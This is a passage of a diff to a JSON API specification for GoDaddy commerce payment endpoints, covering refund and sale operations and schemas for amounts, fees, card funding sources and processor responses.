"urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "updateRefundById", + "method": "PATCH", + "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionId}", + "summary": "Update Refund", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/merge-patch+json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/patch-transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Patch transaction", + "properties": { + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + } + }, + "title": "Patch Transaction", + "type": "object" + } + }, + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "voidRefundById", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionId}", + "summary": "Void Refund", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getRefundSignaturesById", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionId}/signatures", + "summary": "Get Refund Signatures", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "200": { + "description": "Refund Signature list", + "schema": { + "allOf": [ + { + "$ref": "#/components/schemas/pagedList" + } + ], + "properties": { + "items": { + "items": { + "$ref": "./models/transaction/Signature.yaml" + }, + "type": "array" + } + } + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "addRefundSignatureByTransactionId", + "method": "POST", + "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionId}/signatures", + "summary": "Add Refund Signature", + "description": "Add refund signature by the transaction ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "multipart/form-data", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "signature": { + "description": "Signature data in Binary format", + "format": "binary", + "type": "string", + "writeOnly": true + }, + "signatureUrl": { + "description": "URL of the image uploaded", + "format": "uri", + "readOnly": true, + "type": "string" + } + }, + "title": "Customer Signature", + "type": "object" + } + }, + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + }, + "200": { + "description": "Request was successful" + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "voidRefundByRefNum", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionRefNum}", + "summary": "Void Refund", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionRefNum", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/RefNum.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getSales", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/sales", + "summary": "Get Sales", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "200": { + "description": "Sale list", + "schema": { + "allOf": [ + { + "properties": { + "links": { + "$ref": "./types/Links.yaml" + }, + "totalItems": { + "type": "integer" + }, + "totalPages": { + "type": "integer" + } + } + } + ], + "properties": { + "items": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "discriminator": { - "propertyName": "processorType", "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents refund transaction against a payment", - "properties": { - "alternateFundingSource": { - "description": "Alternate funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } }, "required": [ - "type", - "number", - "source" - ] + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "cashback": { + "description": "Cashback details", + "type": "integer" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", - "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" - }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" - } - } - } - }, - "required": [ - "cardDetail" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" + "x-currency-type": true, + "x-custom-type": true }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", + "description": "Tip amount details", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "Tip Amount", + "type": "object" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } - }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string" - }, - "eVoucherApprovalCode": { + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { "type": "string" } }, - "required": [ - "cardDetail", - "cardType" - ] + "title": "Amount", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", + "description": "Payment Context details", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } + }, + "title": "PaymentContext", + "type": "object" } ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true - } - }, - "required": [ - "token" - ] + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - 